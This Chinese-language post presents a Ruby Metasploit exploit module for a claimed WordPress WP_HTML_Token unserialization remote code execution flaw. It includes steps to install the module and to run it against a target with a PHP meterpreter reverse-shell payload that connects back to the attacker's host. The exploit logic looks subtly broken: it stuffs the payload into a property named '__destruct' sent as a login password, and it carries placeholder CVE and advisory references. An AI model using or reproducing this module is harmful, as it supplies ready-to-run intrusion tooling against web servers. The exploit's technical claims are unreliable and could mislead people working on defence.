
Metasploit模块,利用WordPress WP_HTML_Token反序列化远程代码执行漏洞(CVE-2024-31211),使用精心构造的payload实现任意代码执行。
为了创建一个利用 WordPress 中 WP_HTML_Token 类实例反序列化漏洞的 Metasploit 模块,我们将专注于构造一个触发反序列化缺陷的有效载荷,从而实现任意代码执行。
将以下代码保存为 wordpress_wp_html_token_rce.rb,放在 Metasploit Framework 安装目录中的 modules/exploits/multi/http 目录下。
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress WP_HTML_Token Unserialization RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability in WordPress via
the unserialization of instances of the `WP_HTML_Token` class. This allows for
code execution via its `__destruct()` magic method.
},
'Author' =>
[
'Your Name' # OneArch
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2024-XXXX'], # Replace with the correct CVE number
['URL', 'https://example.com/advisory'] # Replace with an advisory link if available
],
'DisclosureDate' => 'Aug 03 2024',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
['WordPress <= 5.x', { }]
],
'DefaultTarget' => 0,
'Privileged' => false,
'Payload' =>
{
'BadChars' => "\x00",
}
))
register_options(
[
OptString.new('TARGETURI', [true, "The base path to the WordPress installation", '/']),
])
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
})
if res && res.code == 200 && res.body.include?('wp-login.php')
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Sending payload to trigger unserialization vulnerability")
serialized_payload = 'O:13:"WP_HTML_Token":1:{s:13:"__destruct";s:' + payload.encoded.length.to_s + ':"' + payload.encoded + '";}'
post_data = {
'user_login' => Rex::Text.rand_text_alphanumeric(8..12),
'user_pass' => serialized_payload,
'wp-submit' => 'Log In',
'redirect_to' => normalize_uri(target_uri.path, 'wp-admin/'),
'testcookie' => 1
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-login.php'),
'vars_post' => post_data
})
handler
end
end
保存模块:
将模块保存为 wordpress_wp_html_token_rce.rb,放在 Metasploit Framework 安装目录中的 modules/exploits/multi/http 目录下。
/path/to/metasploit-framework/modules/exploits/multi/http/wordpress_wp_html_token_rce.rb
加载 Metasploit: 打开终端并运行以下命令启动 Metasploit Framework:
msfconsole
使用新模块: 在 Metasploit 控制台中,使用以下命令加载新的漏洞利用模块:
use exploit/multi/http/wordpress_wp_html_token_rce
配置并运行:
设置必要的选项,例如 RHOSTS、RPORT、TARGETURI 和 PAYLOAD。然后运行模块。
msf6 > use exploit/multi/http/wordpress_wp_html_token_rce
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set RHOSTS target_ip
RHOSTS => target_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LHOST your_ip
LHOST => your_ip
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/http/wordpress_wp_html_token_rce) > run
此 Metasploit 模块会向存在漏洞的 WordPress 实例发送一个精心构造的序列化有效载荷,试图触发反序列化漏洞并实现任意代码执行。请根据漏洞的具体性质和目标环境调整有效载荷及模块。